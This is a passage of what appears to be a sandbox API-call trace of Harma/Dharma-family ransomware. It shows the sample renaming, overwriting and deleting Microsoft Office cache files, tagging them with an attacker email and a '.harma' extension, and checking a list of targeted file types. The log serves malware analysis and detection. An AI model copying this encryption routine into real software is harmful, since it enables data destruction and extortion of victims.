GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0047.514] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0047.514] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0047.514] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc6c | out: lpNewFilePointer=0x0) returned 1 [0047.514] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.514] ReadFile (in: hFile=0x15c, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.582] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.582] ReadFile (in: hFile=0x15c, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.848] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2f0fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.849] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.849] ReadFile (in: hFile=0x15c, lpBuffer=0x3b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b10058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.901] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.901] WriteFile (in: hFile=0x15c, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2f0fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0047.917] SetEndOfFile (hFile=0x15c) returned 1 [0047.918] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f99e38 [0047.985] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.985] WriteFile (in: hFile=0x15c, lpBuffer=0x3f99e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f99e38*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.986] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.986] WriteFile (in: hFile=0x15c, lpBuffer=0x3f99e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f99e38*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.992] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.992] WriteFile (in: hFile=0x15c, lpBuffer=0x3f99e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f99e38*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.995] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f99e38 | out: hHeap=0x5a0000) returned 1 [0047.996] CloseHandle (hObject=0x15c) returned 1 [0048.328] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0048.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.328] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.328] lstrlenW (lpString=".doc") returned 4 [0048.328] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.328] lstrlenW (lpString=".docx") returned 5 [0048.328] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0048.328] lstrlenW (lpString=".pdf") returned 4 [0048.328] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.328] lstrlenW (lpString=".xls") returned 4 [0048.328] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.328] lstrlenW (lpString=".xlsx") returned 5 [0048.329] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0048.329] lstrlenW (lpString=".ppt") returned 4 [0048.329] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.329] lstrlenW (lpString=".zip") returned 4 [0048.329] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.329] lstrlenW (lpString=".rar") returned 4 [0048.329] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.329] lstrlenW (lpString=".bz2") returned 4 [0048.329] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.329] lstrlenW (lpString=".7z") returned 3 [0048.329] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.329] lstrlenW (lpString=".dbf") returned 4 [0048.329] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.329] lstrlenW (lpString=".1cd") returned 4 [0048.329] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.329] lstrlenW (lpString=".jpg") returned 4 [0048.329] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.329] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.329] lstrlenW (lpString=".doc") returned 4 [0048.329] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.330] lstrlenW (lpString=".docx") returned 5 [0048.330] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0048.330] lstrlenW (lpString=".pdf") returned 4 [0048.330] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.330] lstrlenW (lpString=".xls") returned 4 [0048.330] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.330] lstrlenW (lpString=".xlsx") returned 5 [0048.330] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0048.330] lstrlenW (lpString=".ppt") returned 4 [0048.330] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.330] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.330] lstrlenW (lpString=".zip") returned 4 [0048.330] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.330] lstrlenW (lpString=".rar") returned 4 [0048.330] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.330] lstrlenW (lpString=".bz2") returned 4 [0048.330] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.330] lstrlenW (lpString=".7z") returned 3 [0048.330] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.330] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.330] lstrlenW (lpString=".dbf") returned 4 [0048.330] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.330] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.330] lstrlenW (lpString=".1cd") returned 4 [0048.330] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.330] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0048.330] lstrlenW (lpString=".jpg") returned 4 [0048.331] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.331] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0048.331] lstrlenW (lpString="Proof.msi") returned 9 [0048.331] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.486] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=881152) returned 1 [0048.486] CloseHandle (hObject=0x1ec) returned 1 [0048.486] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020 [0048.486] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0048.487] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.487] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.487] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.487] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0048.487] GetLastError () returned 0x0 [0048.487] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x2f0fed4*=0xd7200, lpOverlapped=0x0) returned 1 [0048.522] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xd7210, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xd7210, lpOverlapped=0x0) returned 1 [0048.593] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesRead=0x2f0fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.593] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0048.698] SetEndOfFile (hFile=0x1f8) returned 1 [0048.698] CloseHandle (hObject=0x1f8) returned 1 [0048.708] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.708] SetEndOfFile (hFile=0x1ec) returned 1 [0048.722] CloseHandle (hObject=0x1ec) returned 1 [0048.722] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0048.723] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 1 [0048.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0048.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0048.723] lstrlenW (lpString=".doc") returned 4 [0048.723] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.723] lstrlenW (lpString=".docx") returned 5 [0048.723] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0048.723] lstrlenW (lpString=".pdf") returned 4 [0048.723] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.723] lstrlenW (lpString=".xls") returned 4 [0048.723] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.723] lstrlenW (lpString=".xlsx") returned 5 [0048.723] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0048.723] lstrlenW (lpString=".ppt") returned 4 [0048.723] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.723] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0048.723] lstrlenW (lpString=".zip") returned 4 [0048.724] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.724] lstrlenW (lpString=".rar") returned 4 [0048.724] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.724] lstrlenW (lpString=".bz2") returned 4 [0048.724] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.724] lstrlenW (lpString=".7z") returned 3 [0048.724] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0048.724] lstrlenW (lpString=".dbf") returned 4 [0048.724] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0048.724] lstrlenW (lpString=".1cd") returned 4 [0048.724] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0048.724] lstrlenW (lpString=".jpg") returned 4 [0048.724] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0048.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0048.724] lstrlenW (lpString=".doc") returned 4 [0048.724] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.724] lstrlenW (lpString=".docx") returned 5 [0048.724] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0048.724] lstrlenW (lpString=".pdf") returned 4 [0048.724] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.724] lstrlenW (lpString=".xls") returned 4 [0048.724] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.724] lstrlenW (lpString=".xlsx") returned 5 [0048.724] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0048.724] lstrlenW (lpString=".ppt") returned 4 [0048.724] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.724] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0048.725] lstrlenW (lpString=".zip") returned 4 [0048.725] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.725] lstrlenW (lpString=".rar") returned 4 [0048.725] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.725] lstrlenW (lpString=".bz2") returned 4 [0048.725] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.725] lstrlenW (lpString=".7z") returned 3 [0048.725] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0048.725] lstrlenW (lpString=".dbf") returned 4 [0048.725] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0048.725] lstrlenW (lpString=".1cd") returned 4 [0048.725] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0048.725] lstrlenW (lpString=".jpg") returned 4 [0048.725] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.725] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0048.725] lstrlenW (lpString="Proof.cab") returned 9 [0048.725] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.726] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=21064532) returned 1 [0048.726] CloseHandle (hObject=0x1ec) returned 1 [0048.726] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0048.726] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0048.726] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0048.728] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.728] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc6c | out: lpNewFilePointer=0x0) returned 1 [0048.728] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.728] ReadFile (in: hFile=0x1ec, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.949] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.949] ReadFile (in: hFile=0x1ec, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.017] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2f0fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.018] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.018] ReadFile (in: hFile=0x1ec, lpBuffer=0x3b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b10058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.076] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.076] WriteFile (in: hFile=0x1ec, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2f0fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0049.357] SetEndOfFile (hFile=0x1ec) returned 1 [0049.358] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3fd9e48 [0049.362] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.362] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.363] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.363] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.364] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.364] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fd9e48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd9e48*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.365] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fd9e48 | out: hHeap=0x5a0000) returned 1 [0049.365] CloseHandle (hObject=0x1ec) returned 1 [0053.393] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0053.393] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.393] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0053.393] lstrlenW (lpString=".doc") returned 4 [0053.393] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0053.393] lstrlenW (lpString=".docx") returned 5 [0053.393] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0053.393] lstrlenW (lpString=".pdf") returned 4 [0053.393] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0053.393] lstrlenW (lpString=".xls") returned 4 [0053.393] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0053.393] lstrlenW (lpString=".xlsx") returned 5 [0053.393] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0053.393] lstrlenW (lpString=".ppt") returned 4 [0053.393] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0053.393] lstrlenW 